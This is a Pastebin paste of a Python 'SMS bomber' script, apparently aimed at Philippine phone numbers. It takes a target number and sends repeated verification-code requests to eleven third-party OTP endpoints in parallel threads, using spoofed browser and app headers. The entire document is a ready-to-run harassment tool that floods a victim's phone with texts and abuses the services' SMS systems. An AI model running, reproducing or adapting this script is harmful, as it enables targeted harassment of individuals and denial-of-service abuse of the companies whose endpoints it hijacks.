-AnonymousPH

SCRIPT

Oct 5th, 2023 (edited)
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.02 KB | None | 0 0
  1. import requests
  2. import time
  3. import sys
  4. import os
  5. import base64
  6. import json
  7. import random
  8. from multiprocessing.pool import ThreadPool
  9. logo=(""" \033[0;31m
  10. 【S】【O】【S】【.】【P】【H】
  11. \033[1;33m 2.0""")
  12. if sys.platform == "linux" or sys.platform == "linux2":
  13. clr=""
  14. elif sys.platform == "win32" or sys.platform == "cygwin" or sys.platform == "msys":
  15. clr=""
  16. session = requests.Session()
  17. if sys.version_info[0] != 3:
  18. os.system('clear')
  19. print(logo)
  20. print(65 * '\033[1;92m=')
  21. print('''\t\tREQUIRED PYTHON 3.x\n\t\tinstall and try: python3 fb.py\n''')
  22. print(65 * '\033[1;92m═')
  23. sys.exit()
  24. line=("\033[1;92m╔═"+57*"\033[1;92m═")
  25. line2=("\033[1;92m║"+58*"\033[1;92m═")
  26. limit = 0
  27. limit1 = 0
  28. field = 0
  29. slp = 0
  30. RUN = True
  31. def otp(number):
  32. global limit, field
  33. if str(number[0]) == "0":
  34. number = number.replace(str(number[0]), "63")
  35. elif str(number[0]) == "+":
  36. number = number.replace("+", "")
  37. else:
  38. pass
  39. url = "https://admin.sunoro7778.site:443/api/sms/sendCode"
  40. header = {'Host': 'admin.sunoro7778.site','Connection': 'keep-alive','Content-Length': '352','Accept': 'application/json, text/plain, */*','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42','Content-Type': 'application/json;charset=UTF-8','Origin': 'http://8.219.139.46','X-Requested-With': 'com.BlackRvip.blackrock','Sec-Fetch-Site': 'cross-site','Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'http://8.219.139.46/','Accept-Encoding': 'gzip, deflate','Accept-Language': 'en-US,en;q=0.9'}
  41. body = {"mobile":str(number),"type":4,"token":"null","language":"en_us"}
  42. try:
  43. web = requests.post(url, headers = header, json = body)
  44. r = json.loads(web.text)
  45. if r["code"] == 1:
  46. limit+=1
  47. return True
  48. else:
  49. field+=1
  50. return False
  51. except:
  52. field+=1
  53. return False
  54. def otp1(number):
  55. global limit, field
  56. if str(number[0]) == "0":
  57. number = number.replace(str(number[0]), "63")
  58. elif str(number[0]) == "+":
  59. number = number.replace("+", "")
  60. else:
  61. pass
  62. url = "https://admin.sunoro7778.site:443/api/sms/sendCode"
  63. header = {'Host': 'admin.sunoro7778.site','Connection': 'keep-alive','Content-Length': '66','Accept': 'application/json, text/plain, */*','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42','Content-Type': 'application/json;charset=UTF-8','Origin': 'http://8.219.139.46','X-Requested-With': 'com.BlackRvip.blackrock','Sec-Fetch-Site': 'cross-site','Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'http://8.219.139.46/','Accept-Encoding': 'gzip, deflate','Accept-Language': 'en-US,en;q=0.9'}
  64. body = {"mobile":str(number),"type":1,"token":"null","language":"en_us"}
  65. try:
  66. web = requests.post(url, headers = header, json = body)
  67. r = json.loads(web.text)
  68. if r["code"] == 1:
  69. limit+=1
  70. return True
  71. else:
  72. field+=1
  73. return False
  74. except:
  75. field+=1
  76. return False
  77. def otp2(number):
  78. global limit, field
  79. if str(number[0]) == "0":
  80. number = str(number[1:])
  81. elif str(number[0]) == "+":
  82. number = str(number[3:])
  83. elif str(number[:2]) == "63":
  84. number = str(number[:2])
  85. else:
  86. pass
  87. def bencoder(string):
  88. string = covert_to_string(string)
  89. string = string.encode("ascii")
  90. data = base64.b64encode(string)
  91. data = data.decode("ascii")
  92. return data
  93.  
  94. def covert_to_string(string):
  95. string = str(string)
  96. string = string.replace('\'', '"')
  97. string = string.replace(" ", '')
  98. return string
  99. def get_timestamp():
  100. url = "http://login.ma7hrte3s4d5r6t.com:80/info"
  101. header = {'Host': 'login.ma7hrte3s4d5r6t.com','User-Agent': 'UnityPlayer/2019.2.11f1 (UnityWebRequest/1.0, libcurl/7.52.0-DEV)','Accept': '*/*','Accept-Encoding': 'deflate, gzip','Content-Type': 'application/x-www-form-urlencoded','X-Unity-Version': '2019.2.11f1','Content-Length': '96'}
  102. body = {"content":"eyJ0eXBlIjoxLCJsdWFWZXIiOiIxMDY0MyIsInJlc1ZlciI6IjEwNjQyIiwiYXBwVmVyIjoiMS4wLjAifQ=="}
  103. web = requests.post(url, headers = header, data = body)
  104. page = json.loads(web.text)
  105. return page["svrTime"]
  106.  
  107. url = "http://login.ma7hrte3s4d5r6t.com:80/verifyCode"
  108. header = {'Host': 'login.ma7hrte3s4d5r6t.com','User-Agent': 'UnityPlayer/2019.2.11f1 (UnityWebRequest/1.0, libcurl/7.52.0-DEV)','Accept': '*/*','Accept-Encoding': 'deflate, gzip','Content-Type': 'application/x-www-form-urlencoded','X-Unity-Version': '2019.2.11f1','Content-Length': '228'}
  109. str_body = {"timestamp":str(get_timestamp),"phoneArea":"063","token":"074075569cc8ba75714fbbe39bf89590","type":1,"deviceCode":"beeffdbe2c54e77829192d7ec31f5b4e","phone":str(number)}
  110. encrypt_body = bencoder(str(str_body))
  111. body = {"content":str(encrypt_body)}
  112. try:
  113. web = requests.post(url, headers = header, data = body)
  114. r = json.loads(web.text)
  115. if r["code"] == 0:
  116. limit+=1
  117. return True
  118. else:
  119. field+=1
  120. return False
  121. except:
  122. field+=1
  123. return False
  124. def otp3(number):
  125. global limit, field
  126. if str(number[0]) == "0":
  127. number = "+63"+str(number[1:])
  128. elif str(number[:2]) == "63":
  129. number = "+"+str(number)
  130. else:
  131. pass
  132. url = "https://graphql.toktok.ph:2096/auth/graphql/"
  133. header = {'accept': '*/*','authorization': '','Content-Type': 'application/json','Content-Length': '199','Host': 'graphql.toktok.ph:2096','Connection': 'Keep-Alive','Accept-Encoding': 'gzip','User-Agent': 'okhttp/4.9.1'}
  134. body = {"operationName":"loginRegister","variables":{"input":{"mobile":str(number),"appFlavor":"C"}},"query":"mutation loginRegister($input: LoginRegisterInput!) {\nloginRegister(input: $input)\n}\n"}
  135. try:
  136. web = requests.post(url, headers = header, json = body)
  137. r = json.loads(web.text)
  138. if r["data"]["loginRegister"] == "REGISTER":
  139. limit+=1
  140. return True
  141. else:
  142. field+=1
  143. return False
  144. except:
  145. field+=1
  146. return False
  147.  
  148. def otp4(number):
  149. global limit, field
  150. if str(number[0]) == "+":
  151. number = "0"+str(number[1:])
  152. elif str(number[:2]) == "63":
  153. number = "0"+str(number[2:])
  154. else:
  155. pass
  156. url = "http://8.212.181.240:80/index/user/send_code"
  157. header = {'Device-Id': '3076685aef999931','App-Id': 'UYJEeAtD','Authorization': '','Content-Type': 'application/json; charset=UTF-8','Content-Length': '23','Host': '8.212.181.240','Connection': 'Keep-Alive','Accept-Encoding': 'gzip','User-Agent': 'okhttp/4.9.0'}
  158. body = {"phone":str(number)}
  159. try:
  160. web = requests.post(url, headers = header, json = body)
  161. r = json.loads(web.text)
  162. if r["msg"] == "success":
  163. limit+=1
  164. return True
  165. else:
  166. field+=1
  167. return False
  168. except:
  169. field+=1
  170. return False
  171. def otp5(number):
  172. global limit, field
  173. if str(number[0]) == "0":
  174. number = number.replace(str(number[0]), "63")
  175. elif str(number[0]) == "+":
  176. number = number.replace("+", "")
  177. else:
  178. pass
  179. url = "https://api.777pub.app:443/account/get_code"
  180. header = {'Host': 'api.777pub.app','Connection': 'keep-alive','Content-Length': '83','User-Agent': 'Mozilla/5.0 (Linux; U; Android 12; zh-cn; 2109119BC Build/SKQ1.211006.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.116 Mobile Safari/537.36 XiaoMi/MiuiBrowser/16.8.58 swan-mibrowser','Content-Type': 'application/x-www-form-urlencoded','Accept': '*/*','Origin': 'https://www.777pub.com','X-Requested-With': 'com.happythree.sevengames.pubshow','Sec-Fetch-Site': 'cross-site','Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'https://www.777pub.com/?f=UIHall','Accept-Encoding': 'gzip, deflate','Accept-Language': 'en-US,en;q=0.9'}
  181. body = {'token':'MTY3MTY2NTM2NH61idmEdMlptKqwbQ','tel':str(number),'type':0,'area':'63','language':'en-us'}
  182. try:
  183. web = requests.post(url, headers = header, data = body)
  184. r = json.loads(web.text)
  185. if r["code"] == 0:
  186. limit+=1
  187. return True
  188. else:
  189. field+=1
  190. return False
  191. except:
  192. field+=1
  193. return False
  194. def otp6(number):
  195. global limit, field
  196. if str(number[0]) == "0":
  197. number = str(number[1:])
  198. elif str(number[0]) == "+":
  199. number = str(number[3:])
  200. elif str(number[:2]) == "63":
  201. number = str(number[2:])
  202. else:
  203. pass
  204. url = "https://www.qmsyrr.com/index/Index/smsCode.html"
  205. header = {'Host': 'www.qmsyrr.com','Connection': 'keep-alive','Content-Length': '17','sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Microsoft Edge";v="108"','Accept': '*/*','Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With': 'XMLHttpRequest','sec-ch-ua-mobile': '?0','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.46','sec-ch-ua-platform': '"Windows"','sec-gpc': '1','Origin': 'https://www.qmsyrr.com','Sec-Fetch-Site': 'same-origin','Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'https://www.qmsyrr.com/index/index/login.html?code=4927714','Accept-Encoding': 'gzip, deflate, br','Accept-Language': 'en-US,en;q=0.9'}
  206. body = {"mobile":str(number)}
  207. try:
  208. web = requests.post(url, headers = header, data = body)
  209. if int(web.status_code) == 200:
  210. limit+=1
  211. return True
  212. else:
  213. field+=1
  214. return False
  215. except:
  216. field+=1
  217. return False
  218.  
  219. def otp7(number):
  220. global limit, field
  221. if str(number[0]) == "0":
  222. number = str(number[1:])
  223. elif str(number[0]) == "+":
  224. number = str(number[3:])
  225. elif str(number[:2]) == "63":
  226. number = str(number[2:])
  227. else:
  228. pass
  229. session = requests.Session()
  230. session.get("https://www.711shop.net:443/mobile/index/index.html")
  231. url = "https://www.711shop.net:443/sms/getCode"
  232. header = {'Host': 'www.711shop.net','Connection': 'keep-alive','Content-Length': str(random.randint(13, 18)),'Accept': 'application/json, text/javascript, */*; q=0.01','X-Requested-With': 'XMLHttpRequest','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.46','Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8','Origin': 'https://www.711shop.net','Sec-Fetch-Site': 'same-origin','Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'https://www.711shop.net/mobile/forget.html','Accept-Encoding': 'gzip, deflate','Accept-Language': 'en-US,en;q=0.9'}
  233. body = {"phone":str(number)}
  234. web = session.post(url, headers = header, data = body)
  235. try:
  236. web = session.post(url, headers = header, data = body)
  237. if int(web.status_code) == 200:
  238. limit+=1
  239. return True
  240. else:
  241. field+=1
  242. return False
  243. except:
  244. field+=1
  245. return False
  246. def otp8(number):
  247. global limit, field
  248. if str(number[0]) == "0":
  249. number = str(number[1:])
  250. elif str(number[0]) == "+":
  251. number = str(number[3:])
  252. elif str(number[:2]) == "63":
  253. number = str(number[2:])
  254. else:
  255. pass
  256. session = requests.Session()
  257. url = "https://api.ayala-group.top/sendSMS.do"
  258. header = {'Host': 'api.ayala-group.top', 'Connection': 'keep-alive', 'Content-Length': '24', 'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Microsoft Edge";v="108"', 'Accept': '*/*', 'Content-Type': 'application/x-www-form-urlencoded', 'sec-ch-ua-mobile': '?0', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54', 'sec-ch-ua-platform': '"Windows"', 'sec-gpc': '1', 'Origin': 'https://m.ayala-vip.com/', 'Sec-Fetch-Site': 'cross-site', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': 'https://m.ayala-vip.com/', 'Accept-Encoding': 'gzip', 'Accept-Language': 'en-US,en;q=0.9'}
  259. body = {"mobile":str(number),"type":"2"}
  260. try:
  261. web = session.post(url, headers = header, data = body)
  262. if int(web.status_code) == 200:
  263. limit+=1
  264. return True
  265. else:
  266. field+=1
  267. return False
  268. except:
  269. field+=1
  270. return False
  271. def otp9(number):
  272. global limit, field
  273. if str(number[0]) == "0":
  274. number = str(number[1:])
  275. elif str(number[0]) == "+":
  276. number = str(number[3:])
  277. elif str(number[:2]) == "63":
  278. number = str(number[2:])
  279. else:
  280. pass
  281. session = requests.Session()
  282. url = "https://api.ayala-group.top/sendSMS.do"
  283. header = {'Host': 'api.ayala-group.top', 'Connection': 'keep-alive', 'Content-Length': '24', 'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Microsoft Edge";v="108"', 'Accept': '*/*', 'Content-Type': 'application/x-www-form-urlencoded', 'sec-ch-ua-mobile': '?0', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54', 'sec-ch-ua-platform': '"Windows"', 'sec-gpc': '1', 'Origin': 'https://m.ayala-vip.com/', 'Sec-Fetch-Site': 'cross-site', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': 'https://m.ayala-vip.com/', 'Accept-Encoding': 'gzip', 'Accept-Language': 'en-US,en;q=0.9'}
  284. body = {"mobile":str(number),"type":"3"}
  285. try:
  286. web = session.post(url, headers = header, data = body)
  287. if int(web.status_code) == 200:
  288. limit+=1
  289. return True
  290. else:
  291. field+=1
  292. return False
  293. except:
  294. field+=1
  295. return False
  296. def otp10(number):
  297. global limit, field
  298. if str(number[0]) == "0":
  299. number = str(number[1:])
  300. elif str(number[0]) == "+":
  301. number = str(number[3:])
  302. elif str(number[:2]) == "63":
  303. number = str(number[2:])
  304. else:
  305. pass
  306. session = requests.Session()
  307. url = "https://api.yhaphtai.com/home/login/register_code"
  308. body = {"phone":str(number),"captcha":""}
  309. try:
  310. web = session.post(url, json = body)
  311. if int(web.status_code) == 200:
  312. limit+=1
  313. return True
  314. else:
  315. field+=1
  316. return False
  317. except:
  318. field+=1
  319. return False
  320.  
  321. def bomber(function):
  322. global limit, RUN, limit1, field, slp
  323. number = open("number.txt", "r").read()
  324. while bool(RUN) == True:
  325. if function(number):
  326. sys.stdout.write(u"\033[1000D\033[1;92mSuccess: {} Failed: {} ".format(str(limit), str(field)))
  327. sys.stdout.flush()
  328.  
  329. if int(limit) >= int(limit1):
  330. RUN = False
  331. time.sleep(int(slp))
  332. def pick():
  333. a = input("\033[1;92m╚═════\033[1;91m >>> \033[1;97m")
  334. return a
  335. def home():
  336. global limit1, slp
  337. os.system(clr)
  338. print(logo)
  339. print(line)
  340. print("\033[1;92m║ \033[1;94m—> \033[1;92mInput Target Number ex.09222222222")
  341. number = pick()
  342. a = open("number.txt", "w")
  343. a.write(str(number))
  344. a.close()
  345. print("\033[1;92m║ \033[1;94m—> \033[1;92mLimit")
  346. function = [otp, otp1, otp2, otp3, otp4, otp5, otp6, otp7, otp8, otp9, otp10]
  347. limit1 = pick()
  348. print("\033[1;92m║ \033[1;94m—> \033[1;92mSleep")
  349. slp = pick()
  350. p = ThreadPool(int(len(function)))
  351. p.map(bomber, function)
  352. print("\r\r"+line)
  353. print("Done.")
  354. if __name__=="__main__":
  355. home()
Add Comment
Please, Sign In to add comment